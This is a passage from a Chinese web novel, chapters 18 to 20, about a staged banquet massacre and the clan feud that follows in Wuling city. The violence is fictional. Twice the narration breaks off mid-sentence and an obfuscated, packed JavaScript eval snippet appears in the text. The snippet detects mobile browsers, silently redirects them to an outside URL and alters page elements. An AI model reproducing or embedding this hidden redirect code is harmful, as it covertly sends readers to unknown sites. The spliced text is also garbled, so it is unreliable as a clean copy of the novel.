老白没心思跟他纠缠,要是真因为这宴会上的事跟赵家决裂才是得不偿失。现在李家又钓不到手,赵家眼见着也要飞了,哪里还管犄角旮旯里的小孩说话!如果说和赵家真的无可挽回了,他非得灭了韩家满门!李小姐总不会为了一个没过门的男人守寡一辈子! 白夫人微微颤抖着,跟着圃匠走到了地方。 老白上去就是重重一巴掌,白夫人脸偏向一边,迅速红肿起来,她一只手捂着被打疼的脸,一边跪下说:“一年前妾身确实失手打死了那姓金的妾,埋在那丁香树下……我承认我是妒妇,是蛇蝎毒妇,可是这石榴树下埋着的妾身真的不认识啊!” 她当然不认识。那是她丈夫的外室呢。这个妾是个孤女,韩家也算是她的娘家人,她回了韩家时恰被韩夫人撞见偷了账本,韩夫人当时就叫来下人把她活活打晕了,当时大家都当她死了,韩夫人便要砍了她的手送回赵家,从此与赵家一刀两断—— 韩玉笙好说歹说把他母亲劝下了,韩夫人压下了这事,韩玉笙夜里叫上了韩八郎和韩十二郎,三个人把人埋在了白夫人的花园里,打算挑拨白家和赵家的关系,谁知道埋的时候她突然醒了,谁知道姚复也抱着这个目的,又有谁知道这个妾就是和老白私通那个呢。 更没人知道今天能演出来这么一出好戏呢。就是有点吓到李小姐了,早知道就在李小姐走过来之前把她引开了。 18. 第18章 在场的没人信她。 白夫人在外是与人为善,对着别家的夫人小姐都是和蔼可亲的样子,但这并不妨碍她就是个妒妇的事实。 她惩治小妾婢女的法子层出不穷又灭绝人性,虽说少有传到民间的,但也是在各家夫人耳中流传甚广,甚至是被许多人奉为圭皋。也正是因此,大家都知道她骨子里是什么人。 哪个老爷的爱妾宴宾客时陪坐不是稀奇事,这白夫人许是见了死者与老白坐了近了心生恨意也说不准。 大家都是人精,猜出来了也只是在心里嘲笑,口中并不说,连那一点嫌恶的眼神都不曾露出来。 “我听说白夫人与白叔伉俪情深,常常为了旁的女子争风吃醋,说不准这个婢子和白叔有染呢。”韩玉笙看热闹不嫌事大,笑着拱火。 他在众人眼里是个小孩子,又被家里宠坏了,不懂人情世故,说话口无遮拦也是没有任何问题的。 这话更是明目张胆添油加醋地把众人的心里话都说了出来,各个夫人老爷都悄悄分了余光过去,不动声色地打量着老白和老赵的反应。 老赵也有些怀疑地看着老白,后者脸色有些不自然,尴尬地沉默了一会儿,又重重咳嗽了两下,眼神不住地去瞟地上的白夫人,方才说:“玉笙啊,你这空口无凭的,拿什么证明我和她有染呢。” 老赵一听这话,脸色稍稍缓和。 “哟,我不过是开个玩笑罢了,您怎么就承认了,还这么急着去自证清白。”韩玉笙惊讶地抬眼看向老白。 老白脸色红一阵白一阵,老赵审视的目光更为扎人,其他家族幸灾乐祸的目光简直要淹了他,他又没有那飞天遁地的本事,还是得硬着头皮接招。 “商人之子就是商人之子,也就只会凭着那一套歪理邪说污蔑我了。” 找不到敌人的破绽,那就骂他的出身。 韩玉笙嗤笑一声,伸手拽下一枝石榴花,反驳道:“儒生就是儒生,寒窗苦读四十年也混不上个秀才,还做着兼济天下的美梦。孩子倒跟这石榴花一样,生了一沓又一沓。” 有两个关系要好的夫人禁不住笑了起来,发出了一点声音,又急忙拿手帕掩住了唇。老白听到声音后逡巡一圈,也没揪出来是哪两个罪魁祸首,只得红着脸作罢。 他确实科举考了二十年,到现在还是个童生。本朝科举不算难,但考吟诗作赋,没那个本事也就跟仕途无缘了。偏偏老白写的诗都不怎么样,还老喜欢逞能,强装着考了一年又一年,直到屈郢造反,鄂州跟着乱了起来,他才歇了心思。 “玉笙,你说话怎么这么难听?这就是你家的教养?”白夫人看样子真是和老白伉俪情深,跪在地上也要维护他。 就算老白当众打她,宠妾灭妻,养外室,酗酒,好赌,草菅人命,为人恶毒,她还是要义无反顾地维护他。就像现在,老白被韩玉笙说的心气郁结,一句话也憋不出来,红着脸生闷气,不就是她出的头吗? 韩玉笙嘴角抽搐,说:“我又不能科举,要教养做什么。不像我家养的那条狗,有娘生没娘养,挨打了还乐颠颠把脸贴过来摇尾巴。” 笑声更大了一点。白夫人也知道他是指桑骂槐,但她没老白那么精明。她平常只用保持自己的端庄淑雅,好好当个花瓶就行了,说话也并不会斟酌,只爬起来,仍旧捂着自己那半张脸,保持最后的体面,才说:“一个女人,维护夫婿是天经地义的,若是离了夫婿,还能去哪里呢?” “啊?”韩玉笙瞪大眼睛,不解地挠挠头,“你没有娘家吗?” 他三姐出嫁了还是天天往家跑,从来是丁点委屈不受的,因此韩玉笙觉得女人生性是自由的,和男人一样不该受一点委屈,出嫁受了委屈要么打回去,要么就回娘家求父兄撑腰。 白夫人这样的说法他还是头一次见。 “真是头一次见你这样的,要是我妹,早就两巴掌打上去了。”韩玉笙嘀咕着,往后退了几步,生怕白夫人把那股子冤大头的气质传染到自己身上,回头再带坏了姐妹们。 他还有俩等着出嫁的妹妹呢,韩家不认韩玉筝的婚事,她怎么着也还是个十九岁的黄花大闺女,韩玉童才十五岁,也是马上到了婚龄。这个关头影响了她们,才是罪该万死。 李夫人扶着勉强李小姐往这边走来,方才她们走的稍远了一些,没见着这出戏,近前了却见人人脸上都写着戏谑与好奇,连老李都是满脸笑意,本来想问一问,一转眼看到了生闷气的老白,正在扶头上珠钗的白夫人,脸色青黑的老赵,以及站在树下满脸嘲弄的韩玉笙,也知道了事情不简单,便不打算追问了,只扶着女儿的手站在了老李旁边。 “也不是什么稀奇事,大家还要继续观宴么?”李夫人双手包裹着李小姐的手掌,端庄优雅地站在那儿问。 李家是最年长的,声望也是最高的,又算是东道主,李夫人身上更是从骨子里透着书香门第的高贵气质,这一发话也算是将此事翻了篇,大家便打着哈哈走开了,现下天色也将晚了,这百花宴也不只赏花,还有夜宴呢。 走了一天,没什么比吃饭更令人心旷神怡的事了。 姚复两个人在湖心亭里坐了小半天,见着日薄西山,看时间差不多了,姚复才笑着对应瑕说:“时间差不多了,咱们吃饭去吧。” 花园虽是白家的产业,却提前好些日子包给了李家,这夜宴也是李家一手操办,宴会上发生什么事自然也是算计好的。 宴会上没有奢华的金堆玉砌,也没有华贵的绫罗锦缎,倒是符合李家书香门第的身份,整个房间里都弥漫着木料的香气。 李夫人招呼着下人点燃熏香,一边延请诸位落座,她自己一边微微颔首向众人示意,一边拉着女儿坐到了坐北朝南的位置,南向之位最吉祥,东向之位最尊贵。 西墙处只摆了一张精致的小案,最多够一夫一妻二人坐下,南北两边各摆放了七八张桌子,大家都知道自己的分量,自觉按着地位尊卑在南北两边落了座。 韩玉笙换了身荔枝红的绸缎袍子,自然而然地坐在了北边,挨着李小姐坐在了她右手边。 只有赵家和白家没有落座。老赵和老白两个人眼神交锋了八百回,愣是没人示弱。赵家是势力最大,白家自认为是东道主,都觉得自己身份尊贵,都想带着夫人孩子坐在坐西面东的位置上。 这两家子站在会场中间,堵着路途,老李自然不满:“二位,先落座罢,都是兄弟,没有隔夜仇的。” 这两人虽说是无法无天,到底也得给老李三分薄面,有了老李的话,老赵顿时觉得自己在理,扬起眉头,得意地对着老白说:“老白,你快回位子上罢,别挡着我上去。” “诶,你这说的什么话,北边还有空位呢。你不过去,反而催我是几个意思?”老白笑着说。 北边确实只在门边剩了两个位子,都没有人。二人都觉得其中一个属于对方,另一个属于某个姗姗来迟的小家主。 两人相互陪着笑,老赵忽然想先下手上去抢了位置,便伸脚往前一步,却不想老白也往前走了一步。 两人又互相揶揄起来。 “二位,快落座吧。”老李皱着眉再次催促,“别挡着人家的路。” 两人脸色都僵了。 老白皮笑肉不笑地扭头,问道:“这位子不是给我们备的么?” 老李脸上仍旧带着和善的笑意,好似没有闻到两人中间的硝烟味,只笑着调侃:“当然,你看看你们两个,恨不得带着一大家子过来,哪里坐得下!那位子可是只设置了夫妻二人的。” 这二人都转头看了看自己带的家眷,后面跟着的都是六七人,外带着两个婢女,挤都挤不下。两人只好讪讪带着人坐在了西边剩下的两个位子上,老白落座前狠狠踢了白七一脚,让他坐的离自己远了点。 姚复拉着应瑕在园子里迷路了,摸索了半个时辰才到了地方,好不容易找到了那宴会,进了门便大步流星往正对着大门的东向位子走,一边走一边向着坐在北边的一众人挥手,口中还喊着:“抱歉啊哈哈哈,我来晚了。还没上菜吗?” 最尊贵的客人落了座,宴席自然可以开了,老李站起来行了一礼,笑着说:“不晚不晚,您和夫人什么时候过来都不迟。” 李夫人为他斟了一杯酒,老李举起酒杯,转向众人:“我向大家介绍一下,这是我前些日子新得的门客,姓姚名复子子季,祖籍启封,从前是阳城县的县丞。他夫人应氏是皇商的女儿。” 介绍门客的家世,好表明这是个硬茬,不是谁都能欺负的。又把官职给列出来,便能告诉所有人——这个门客也许在上面有人。 老李把杯中酒一饮而尽,说:“我先敬一杯。这宴席本就是为了子季接风洗尘的,现下也能开始了!” 底下一片叫好声,大家也是方才想起这百花宴不是替李小姐办的,是替高位上那个门客办的。 美酒佳肴被罗列上案,娇娃美眷也应着要求侍立一侧。 酒至三旬,不少家主已经被那些娇娥灌的七七八八了,还有人借着酒劲去问姚复:“姚公子啊……当个官逍遥快活多好……为什么屈躬当个门客?” 姚复一直只是端着酒杯小口抿着,跟喝茶一样,这一会儿入腹的不多,自然也不醉。应瑕则是不住夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250176|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着桌上的菜,来到鄂州之后她的胃口似乎变大了不少。 “犯了一点错,被革职了。”姚复眉眼弯弯,笑着应答。 那人又哭又笑,接过娇娥手中的杯子,再次一饮而尽:“哦哟,那你可是个蒙尘的明珠,不如来我麾下……” 他问的是姚复,眼神一直瞟着应瑕,忽而后者一抬眸,瞪了他一眼,那人立时噤了声,身上抖了几抖,垂下头颅,酒也醒了三分,干脆又后仰倒进娇娃怀中,就着人家细嫩的手腕喝酒,留着他夫人在那咬着手帕。 这人没了声之后,也有几个人借着酒劲和姚复搭了两句话,姚复也敷衍着回答了。 由于这位子面向正东,今日的月相又是蛾眉月,只在西边的夜空,他无论如何也不能从月亮的轨迹看出时间来,屋里的声音又太嘈杂,滴漏也不好分辨,要把握时间不是什么容易的事。 姚复也只能耐着性子,等着时机找借口出去,现在看样子还不到亥时,暂时还有时间去准备。 老李忽然站起身,拍了拍手,叫美人们把酒撤了,一半人换了琵琶,坐下奏起乐来,另一半施施然走到中间去,伴着激越的乐声起舞。 这些人都是老李特意从附近的青楼赎来的能歌善舞的姑娘,保证了做好今天的事就给她们寻了良人嫁去,若是想留在李小姐身边做丫鬟婢女也不强求。 本来就被美人哄的脑子里乱成了浆糊,这下子那些个家主又是听曲又是赏舞的,脑子里更是糊涂,连话也说不利索。 舞蹈的时间长短不能固定,姚复不能根据她们的舞步停歇作为依据行动,心中是愈发烦躁。直到乐曲奏到激昂之处,应瑕放下筷子,拿手指戳了戳姚复:“时间差不多了。” 瓷杯的碎裂声猛然炸响在厅堂里,所有人都愕然抬头,曲子却仍旧在弹奏,毫无停下的趋势,甚至是越发昂扬。 坐在门口的老白混沌中似乎看到了一群蝙蝠飞了进来,在屋里肆意狂舞,吮吸着宾客的鲜血,可是……可是乐曲还是没有停下啊。 尖叫声和着激昂的弦动声,奏成了一曲新歌。 也许是自己喝醉了,看什么都不甚清晰。老白晃晃脑袋,打算去抓自己的妻子,却扑了个空,他勉强稳住晃动的视野,定睛一看,白夫人早已不知道去了哪里,座上竟只剩了他自己。 他转过头去,飘然看到一个熟悉的黄色身影站在门外——是白七。他踉踉跄跄爬起来,不理解他们为什么离席——明明屋里只是进了一些蝙蝠! 老白打算先出去,把妻儿拉回来,免得驳了自己的面子。可一个醉酒的人,眼中的世界如同破碎的景象,扭曲又滑稽,可笑又疯狂。 还没等他出门,那一扇木门就被门外的风砰一下关上了。 随后他自己也眼前一黑,彻底陷入了黑暗。 “李叔,你手下养的这一批人可真好用。”姚复活动活动肩膀,看着宴席上横七扭八的尸体和为数不多被刀刃架着脖子的活口,走到了老李面前。 老李有些遗憾地摇摇头,叹息一声:“唉,这批人本来是打算等我百年之后保护妻女的。” 约莫李小姐五岁时,老李生了一场大病,所有人都觉得他活不下来了,可他看着女儿稚嫩的脸,竟硬生生活了下来。 他害怕自己哪一日再生了重病,撑不到女儿出嫁,便花了血本养了一批武功高强的死士,叫做什么“连星剑士”,好在百年之后护妻子女儿一世周全。 没成想用到了这种事上。 血流成河的事这些年他们也见的多了,老李和他夫人也不会再有什么大反应,只是李小姐涉世未深,被韩玉笙捂着眼睛退到了一边去。 “放开吧。”应瑕正视着前方,对韩玉笙说,“她迟早要见识。” 韩玉笙心里不是滋味,到底松了手。他不希望璞玉染血,却更不愿见到玉碎瓦全。 李小姐瞪着杏眼看了一圈,拉着韩玉笙的衣角躲到了他身后。 姚复走到门口,探了探老白的鼻息,扭头说:“他死了。怎么办?” 孤儿寡母确实好欺负,但老白一死,赵家就失了制衡,难免一家独大,不好对付。 “他家里还有几个兄弟。”老李笑着说,“大人不必担心赵家失了制约,白夫人是个没脑子的,定然认为是赵家积怨已久方请了人刺杀的。” 方才连星们一进门,先按着嘱托朝主位上的姚复去的,除了活着的这几个,也没人知道这是一场精心策划的鸿门宴。 何况白夫人和白七……是真的愚蠢,他们只会以为是单纯的仇家刺杀。毕竟……白家在城里也是树敌无数,惹的天怒人怨啊。 19. 第19章 接下来,这几个活口会被扣押在这厅堂里,看着外面争斗的你死我活,看着自己的血肉至亲尔虞我诈,看着冷眼旁观的渔翁坐收渔利。 有时活着比死了更令人绝望,像他们这样的恶人就该在人间的炼狱里痛苦挣扎而求死不能。 姚复让人把尸体都拖了出去盖了白布停在园子里,好等着家属来认,又留了几个人看着留下的几个活的——老赵这个大家家主和他夫人以及其他几家的夫人。 男人是一个家族的首脑,现下这些人死的死伤的伤,许多家族都是群龙无首。群龙无首,必起争斗,这个时机无疑是最好的。 次日一早,李家就差人放出了消息,称。一时间街上将此事传的沸沸扬扬。 “听说端午李家办的百花宴上进了刺客,死了好多人……”手里挽着篮子,穿着一袭淡蓝衣袍的女子在街上遇了熟人,掩着唇,眼里闪着兴奋的光。 另一黄衣女子眼带惊奇:“真的假的啊?先说那白家,平日里那么多人去刺杀,都没成功,怎么去个宴会吃个酒就成了?” “保真,我男人刚被黄大少爷叫去拉尸体呢。我觉得啊,这事是赵家干的。他家老想着一家独大,这不趁机除了所有……唉!”蓝衣女子挑了两颗白菜,放在篮子里,又拿一块麻布盖好,才说。 黄家大约是她家的主户。 “宴席嘛,难免要喝酒,喝多了要干什么不成。”蓝衣女子又说。 黄衣女子叹了口气,目光仍在巡视小摊上卖相好的白菜,口中却说:“这赵家也算是为民除害了罢,他们几家平日里作威作福,这下可好,遭了报应吧。” “除什么害,”蓝衣女子又拿了一枚白菜,“他赵家就是最大的害虫。都说祸害遗千年,哪能高兴这么早——你干什么?!” 黄衣女子和蓝衣女子同时擎住了一颗圆润饱满的白菜,旋即爆发了更为猛烈的争吵,原先那个话题戛然而止——同样在拣菜的一个老妪不动声色地结了账,赶忙回家去了。 白夫人回来之后一夜没睡,整个人看着是失魂落魄,今日一大早又跟女鬼一样,站在院子里,眼神空空地看着树上的鸟巢,里头一只小鸟也许是失足落下,也许是被杜鹃推出了巢穴,啪叽一下摔在地上,没了声息。白……夫人却是又哭又笑地拍手,嘴里一边喃喃自语:“死了好啊!死的好哈哈哈……” 尾音又轻轻颤着带起了哭腔,听的旁人不寒而栗。 看样子当家主母是疯了,也不知她昨夜看见了什么,能被吓成这幅样子,也不知还能好起来不能。几个公子不顶事,她要是也倒了,老白那几个兄弟非得把这偌大的产业瓜分干净。 老妪先把白菜送到了后头的厨房里,又绕到前院去,见白夫人还在呆愣愣地看着地上刚生出绒毛的雏鸟,叹了口气,终究是上前去了。 “夫人呐,您可得振作起来啊!”老妪扑通一下跪在地上,膝行向前,抱住夫人的腿,“老奴今日在集市里听到那些刁民说,都是赵家害的我们老爷啊!您如果不能替他报仇,咱们家几个少爷小姐怎么办呐!” 白夫人原先还跟木偶一样毫无反应,一听老妪说道什么赵家啊报仇啊什么的,眼里忽而迸射出一丝怨毒的光,随后又念叨着什么东西进了屋子。过了一会儿,她出来时竟已经恢复了清明,只是又好像有哪里和从前不一样了。 她径直绕过老妪,去看了白七,白七昨日被韩玉笙打的那一顿还没消,晚上回来时又告诉了他亲娘没拿下李小姐和老白的死讯两个噩耗,又被亲娘拿着藤条打了一顿。现在还跪在院子里思过呢。 那金姨娘咬着苹果,倚在门框上,嘴里一边骂:“呸,我怎么就生了你这么个蠢货,要是个女儿还能嫁出去换二两酒钱,你怎么这么不中用,连个小女孩都拿不下……” 白夫人揣着手,施施然走过来,微微笑着说:“金妹妹怎的又责罚孩子。还说出这种话来,哪还有一点大家风度。” 金姨娘再跋扈也只是个妾,见了当家主母还是得老实行礼。金姨娘随手丢了苹果,翻了个大白眼,才极为敷衍地福身行礼。依着白夫人的脾气,老头子一死,她们这些妾都得给他陪葬,既知时日无多,谁还愿意忍气吞声。给白夫人行礼都是给她脸了。 “我管我儿子,跟姐姐有什么关系?”金姨娘站直身子,扶了扶头上的步摇。她不是什么大家小姐,本来也只是个市井小民的女儿,被抢来做了妾室,身上没什么涵养,还曾被其他人骂过不配戴珠钗,死前却还是想带多一点没见过的奢华首饰。 白夫人却不似以前那样,挑起眉头找茬斥骂金姨娘,反而古怪地笑了笑,慢条斯理地说:“他记在我名下,也是我儿子,今日拿他有用,你放不放行?” 金姨娘头一次见白夫人这么好声好气地说话,当即判定白夫人受到打击太大,被刺激疯了,还搞得性情大变,看样子脑子也不好使了。于是眼睛咕噜噜转了几圈,在心里拟定一个主意:“行啊。你给我五万两白银,我要早日寻个下家改嫁,否则……否则我杀了他也不放。” 白夫人竟呵呵一笑,叫了身边的婢女,从库房里取了几箱银子,逐一展现在金姨娘面前。后者伸手摸了摸那质感,当即笑了,一把拉起鼻青脸肿的白七,塞到了白夫人手里,乐呵呵地说:“诺,你带走吧。我也走了,你们多保重。” 五万两白银,足够金姨娘过好后半辈子了。老白一死,这些银子也难守得住,不如早早打发了那些个难缠的小妾,也算是赚个心静。 白七被硬拉着走了。白夫人还叫了十几个家丁,一路赶到了赵家门口。 老赵和赵夫人还在被扣押着,现在赵家也是群龙无首的状态,关着个大门,几个公子怕是闹的天翻地覆呢。 “砸门!”白夫人红着眼眶,哑着嗓子大喊一声,几个壮丁一拥而上,或拳打或脚踢,哐哐开始砸赵家刚刚上过朱漆的大门。 赵家一时间没有回应,门外倒是聚集了不少看热闹的人,白夫人使劲一抓头发,将本就不整齐的头发抓挠地更为凌乱,站在门口怒喝着:“姓赵的!我知道你家有人!给我出来!你们赔我男人的命!” 紧接着她又歇斯里底地扑上前去,拿尖尖的指甲抓木门,发出刺耳的尖叫声,周围的人都开始说早上听到的传闻:“听说白老在百花宴上死了……” “刺客不是他老赵家请的?白家来寻仇不足为奇。” “李家不是请了医师,说白老是喝多了酒发了心梗死了?” “嘁,谁知道真假。白老的尸体不是还停在园子里,只剩他们一家没领了……要说这白夫人,不会是装的吧?” “说不准人就是她杀的,这白老爷不是强抢民女就是寻花问柳,白夫人怀恨在心也说不准……” …… 声音渐渐在白夫人耳中失真,似乎有一头青面獠牙的恶兽占据了头脑,剥夺了她思考的能力,操纵着她的身体奋力砸着面前的东西。 不知过了多久,也许是一息,也许是一刻,又好似一个时辰、一个甲子,终于有人抱住她的腰把她拉开了。 她看着面前衣衫不整、头发凌乱,正捂着腹部痛苦呻吟的赵二郎,方才回过神来,后退了半步,撞在白七怀里。 白夫人惊惶地环顾四周,讨论的风向变了:“唉,她是不是疯了。” “刚刚那样子可真像一头野兽。” “也是个痴情种……” …… 白夫人勉强稳定心神,端庄地揣起手来,面色平静地说:“我失态了。你们家请人杀了我男人,你爹又打了我儿子,我来这里是为了寻个公道。” 赵二喘了两口气,支着身子回答:“白姨,你搞搞清楚,我家不知道什么刺杀,我爹娘也没回来。要是我家请的刺客,我弟妹至于命丧黄泉吗,他们的尸体可刚领回来,还在院子里停着呢。” 百花宴跟着去的是赵八娘子和赵九郎,两人当时是被老赵推了出去做肉盾,刺客的剑矢又不长眼,两个大活人又被搡着送到了刀口,这才成了剑下亡魂。事后剑客禀报此事时,姚复也只是沉吟一会儿,说:“算了,死一个也是死,死两个也是死。摊上这么个爹,只能算他们倒霉。直接通知家属领尸体吧。” “那你打我儿子怎么算!”白夫人猛然拉着白七出来,指着他青青紫紫几乎不能看的一张脸。路人们多少有些不忍地别过头去,先前白七那张脸还算能看,现在这幅样子真是惨不忍睹,能直接拿去给小孩止夜啼。 赵二站直身子,鄙夷地打量白七两眼:“我爹打的你去找我爹算账。再者被打成这样,难道不是他自己无能?” 本来也不是自己的儿子,白夫人自然没有一分心疼,脸上自然和心里一样平静:“父债子偿天经地义,你今日要么赔偿,要么就别怪我白家和你家撕破脸。” 赵二不屑地笑了一声:“你一个妇道人家,也能代表白家不成。你那几个废物儿子,争得过他二叔吗。我就不赔,你能怎么样?” “呵呵呵……”白夫人癫狂地笑起来,一双眼布满血丝,通体透红,脸色又十分苍白,活似地狱里的恶鬼,“你别敬酒不吃吃罚酒……” 她忽然大喊:“给我抄了赵家!在场的,你,你,你,还有你们!” 手指依次略过几个路人,她转了一圈,又喊起来:“谁能参与的,一个人五两白银!” 白家府库里如今也不过只剩十几万两银子,给了金姨娘五万,其他姨娘拿百两千两打发打发,少说也能剩下十万,足够这些平民瓜分——没了钱,看那些兄弟还能争什么!白夫人现在也是明白了,所做的一切不过是替暗处的渔翁做嫁衣裳,既然如此,也不能叫其他棋子占了便宜! 大家一听有银子拿,纷纷自告奋勇,跟着家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262031|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁就往赵家院子里挤去。 赵二想拦,却一下被人群淹没了。 庭院里躺着两具尸体,是被领回来的赵八娘子和赵九郎,后院里尸横遍野血流成河,有人的房间里不是悬梁自尽的就是饮鸩自杀的,想必是一大早就开始自相残杀,便宜了赵二。 大家从地窖里掏出两个五六岁的孩子,不知是哪个公子的一双儿女。偌大的赵府很快被扫荡一空,只是始终找不到府库。 “小孩子好啊……小孩子好啊……”家丁把孩子领到白夫人面前,白夫人蹲下身子,拿尖利的指甲轻轻划过女孩幼嫩的脸蛋,“小孩子有什么罪啊……把他们留下,我们走。我倒要看看,那最是人面兽心的伪善的李家人,能不能对小孩子下手!” 她确实是疯疯癫癫的,回家就开了府库,白银如同流水一般进了外人的腰包。横竖白家没有女儿,不必给孩子留嫁妆。现在赵家人算是死绝了,留着两个小孩几个下人强撑着门面而已,她也是大仇得报,怎么也不亏。 只是白家的几个叔叔伯伯一类的兄弟看不下去了,尤其是那白二叔,当晚就和妻子躲在被窝里谋划着夺权——虽说老白有儿子,白夫人也散去了不少家财,可终归剩下不少,再对外宣称白夫人丧夫所受打击太大,已经失心疯了,那几个侄子根本斗不过他们。 次日一早,白二婶欲出门解决早饭,方才打开门,就被吓得尖叫一声,一屁股坐在了地上,只知六神无主地叫喊。白二叔急忙出来看情况,也被吓得不轻。 白夫人昨天夜里竟然一脖子吊死在了他家门廊前,地上还散落着一张纸。 白二叔强忍着畏惧,微微颤抖着手指拿起那张纸,上头血红一片,全是“死”字,纸背带了一行娟秀的小字:“万贯家财尽,从此不相干。” 他咽了口口水,抬头看了看尸体,最终歇不下夺权的心思,叫人把尸体弄了下来,好生安葬了。 可一连做了几天噩梦,弄的白二叔夫妻二人心力交瘁,实在也没心思干这些事了,干脆收拾收拾行李,连夜北上了。 三天过去,尸体也都领完了,各家府邸立时爆发了空前绝后的战争。姚复每天也就和应瑕出去逛街,买些好玩的新奇物件,打听各家最新的消息,再带回那押着人的大堂里,微笑着看他们的反应。 “你们可真奇怪。”姚复端着一盘糕点,坐在宴会开始时他坐的那个位置上,环视着被五花大绑、面色忧伤的一群人,“你们强抢民女的时候,草菅人命的时候,纵火烧山的时候,从来没伤心过。一条又一条无辜的人命从你们手上流过的时候,也没有一点伤心。怎么现在这么伤心呢?” 各家人都被戳中了心事,垂着头不敢说话。 姚复把点心推给应瑕,自己下去逐个解开绳索,微笑着说:“时间差不多了,我放你们出去。” 明明是一副温柔似水的神情,却叫人止不住地战栗。 应瑕看了看老赵,最终又往嘴里塞了几块糕点。 姚复解完绳子,拍拍衣服上的灰,回头问应瑕:“对了,双福,你最近怎么奇怪的很,怎么突然吃这么多?” 要说有病吧,去了医馆也没看出什么名堂。妊娠也有如此反应,可他俩到现在还没圆房,也断然没有可能。若是心中郁结,也可能暴饮暴食,关键是最近也没啥能让人郁闷的事。何况一般心情波动的都是姚复,应瑕跟泰山一样稳定。怎么看怎么奇怪,身上也没病,心里也没病,倒像是中邪了。 应瑕咽下最后一口糕点,凉凉扫了老赵一眼:“不吃多点,我怕忍不住会吃了他。” 姚复只当她在开玩笑,便也笑了两下。 这群人见手脚被解开,反应了一会儿后方才离开,应瑕开着他们的背影,小声嘀咕:“闻着也太香了……” 姚复竖起耳朵:“什么?” “没什么。” 应瑕要求的放人,再不放人她真的受不了。 六月刚刚开了头,花园里的荷花相继绽放,姚复便叫新涂带了几百个府兵端了城里南边乱成一锅粥的几个小家族。黄家被灭掉之后,传说中后院里那个疯婆子竟不见了。姚复不甚在乎此事,他自己也领了几百府兵,浩浩荡荡打下了北边的几个家族。 老赵带着两个小孩确实有东山再起的打算,可惜还没把跑掉的家丁召集回来,姚复一个回马枪把他家也端了。 待到“渚莲尚开庭梧老”时,整个武陵城已经被摆平了,却忽而传来了韩家失火的消息——韩家早不知道被忘到了哪个旮旯里,除了韩玉笙天天来李小姐面前找不痛快,姚复还真想不起这一家子。 这家人在城里最乱的时候竟只是坐地起价,一点没想过争权夺利,倒也没人把他们当回事。 听说这家人坐地起价得来的不义之财全都烧没了,人倒是都好好的,不过一朝又回了当年饥寒交迫的日子里。 20. 第20章 这事不好管,韩家剩下的那六口人举家投奔了姚复,被安置在府里。 李家扫平了城里的势力,平日里声望也高,便被百姓们拥护着,名正言顺地成了一城之主。 新官上任总得有个仪式感,恰巧城中修了一高台,名唤“击筑台”,据说当年屈子投江之后当地百姓为纪念他而修的,从前的端午节总有人登台远眺湘江,或击筑缅怀屈子,如今倒便宜了姚复。 李家人张罗着将高台修了又修,裁了几套衣服,挑了个风和日丽的好日子,召集了全城百姓集聚台下。 百姓们见李家人做城主心中也是欢喜的,召集什么会议自然乐得前来,还特地穿了新衣裳——一个德高望重的城主管政治,武陵城的好日子是真的要来了。 到了午时左右,台下的人越聚越多,老李终于轻咳一声:“今日某召集诸位于此有要事相告,实在劳烦。” 原本烦躁的人群安静了下来,人们抬首望着高台上站着的人。 “某虽有虚名在外,却并无实才管理这一城要务。”老李扫视着下方的人群,“这城中归于太一也非我李家之功。” 底下的百姓不解,新涂和姚复兵分两路荡平城中势力的时候可是都顶着李家的名头,如今老李这难道只是谦辞? 于是大家又压下了心中的想法,等着老李继续往下说。 “因此,某今日便将这城主之位让与手下门客。”老李后退一步,姚复走上前去,凭着栏杆往下望。 如今平白无故冒出一个新城主来,显然不是百姓想要的结果,众人纷纷高喊着抗议起来。 老李在后面稍带急躁地解释:“此人有大才,贤明圣德——” 姚复抬起手,制住了老李的话,握着剑鞘,只对着百姓们说:“诸位稍安勿躁,在下不过暂管武陵,待我离开,这城主仍交还于李家。” 这话不假,武陵还有一批兵士驻扎,这些人只听知府的,前任知府离开后这批人便要等着下一任知府上位,管他是朝廷派来的还是武力抢来的,反正城口立着的章程上是这么写的。姚复本来也无心这城主之位,不过是需要这一批兵士。 百姓们被安抚了下来,不少人仍然心存疑虑,有个年轻的声音从人群中飘上高台:“那你怎么证明自己会治理我们武陵城?” 附和的声音此起彼伏,一浪高过一浪,姚复几次说话,声音都会被声浪淹没,压根没人能听见,他有些着急地看了看老李,他走上前去试着喊了几声,声音也是被淹没。两人正一筹莫展之际,角落里的应瑕拍拍自己身上的糕点渣滓,走到了栏杆前。 她淡定环视了一圈,百姓们气势弱了不少,不久后又掀起来更猛烈的呼喊。应瑕斜眼看了姚复一眼,又看了看他的剑,再次把目光投到人群中去。姚复会意,示意老李后退,猛然抽出长剑,一道寒光闪过,栏杆应声而断。 宝剑出鞘的鸣声仍然回荡在耳边,那道扎人眼球的寒光仍然闪烁在眼前,这下大家都老实闭了嘴,心里默默腹诽着老李怎么找了这么个活祖宗来接管武陵。 姚复的目光在噤若寒蝉的人群中游走一圈,最终开口道:“我只效仿高祖与大家约法三章,至于城内税收徭役、缉捕定案,全权交于李老。” 台下仍是落针可闻。人们仰视着上位者,高高在上的人逆光站立,脸色半明半暗,有说不出的威严震慑着台下众人。 